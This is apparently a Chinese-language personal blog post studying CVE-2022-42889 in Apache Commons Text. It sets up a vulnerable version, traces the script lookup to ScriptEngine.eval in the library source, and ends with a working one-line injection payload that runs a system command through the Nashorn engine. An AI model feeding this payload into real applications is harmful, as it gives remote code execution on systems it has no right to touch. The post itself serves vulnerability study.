CVE-2022-42889 Apache Commons Text RCE 漏洞学习

前言

学习。


环境搭建

可以在maven仓库里直观地看到存在漏洞的软件版本:

于是新建一个Java项目,加入受漏洞影响的Apache Commons Text依赖:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.8</version>
</dependency>

不知道为什么下载不到1.9版本的,搞不懂。

漏洞分析

看一看官方的入门指导

Apache Commons Text是一个文本处理库,可以通过${prefix:name}的写法对字符串进行灵活处理,比如入门指导中给出的快速文本处理示例代码,这里我删掉了一些跟文件有关的处理避免发生文件不存在的问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
final String text = interpolator.replace(
"Base64 Decoder: ${base64Decoder:SGVsbG9Xb3JsZCE=}\n" +
"Base64 Encoder: ${base64Encoder:HelloWorld!}\n" +
"Java Constant: ${const:java.awt.event.KeyEvent.VK_ESCAPE}\n" +
"Date: ${date:yyyy-MM-dd}\n" +
"Environment Variable: ${env:USERNAME}\n" +
"Java: ${java:version}\n" +
"Localhost: ${localhost:canonical-name}\n" +
"Resource Bundle: ${resourceBundle:org.apache.commons.text.example.testResourceBundleLookup:mykey}\n" +
"System Property: ${sys:user.dir}\n" +
"URL Decoder: ${urlDecoder:Hello%20World%21}\n" +
"URL Encoder: ${urlEncoder:Hello World!}\n"
);

将处理完后的文本打印出来,可以看到:

很明显,Apache Commons Text可以通过在字符串中使用${prefix:name}格式的字符串进行字符串的插入,其中prefix代表了要对源字符串做的处理,而name代表了源字符串,如第一个字符串插值${base64Decoder:SGVsbG9Xb3JsZCE=}就代表了对name进行base64解码后插入字符串中。

根据漏洞通告所说,prefix代表的其实是Apache Commons Text里面org.apache.commons.text.lookup.StringLookup这个接口的实现类,在IDEA里面搜索一下继承了该接口的类:

可以很明显地看到,有一些类就是示例代码中使用到的文本处理类,按照漏洞通告的说法,其中有三个StringLookup类存在利用方法:

1
These lookups are: - "script" - execute expressions using the JVM script execution engine (javax.script) - "dns" - resolve dns records - "url" - load values from urls, including from remote servers 

其中script这个prefix看起来就特别可疑,似乎可以调用脚本引擎,找到其对应的ScriptStringLookup类,可以在注释里看到使用方法:

1
${script:javascript:3 + 4}

看起来是调用了JavaScript引擎运行了后面的代码,接下来分析一下执行文本处理地该类的lookup函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@Override
public String lookup(final String key) {
if (key == null) {
return null;
}
final String[] keys = key.split(SPLIT_STR);
final int keyLen = keys.length;
if (keyLen != 2) {
throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is DocumentPath:Key.",
key);
}
final String engineName = keys[0];
final String script = keys[1];
try {
final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);
if (scriptEngine == null) {
throw new IllegalArgumentException("No script engine named " + engineName);
}
return Objects.toString(scriptEngine.eval(script), null);
} catch (final Exception e) {
throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,
script);
}
}

可以看到非常可疑的两句代码:

1
final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);

和:

1
return Objects.toString(scriptEngine.eval(script), null);

漏洞利用

参考常用的ScriptEngineManager:

1
${script:nashorn:java.lang.Runtime.getRuntime().exec('calc')}

参考


CVE-2022-42889 Apache Commons Text RCE 漏洞学习
http://yoursite.com/2022/11/23/CVE-2022-42889-Apache-Commons-Text-RCE-漏洞学习/
作者
Aluvion
发布于
2022年11月23日
许可协议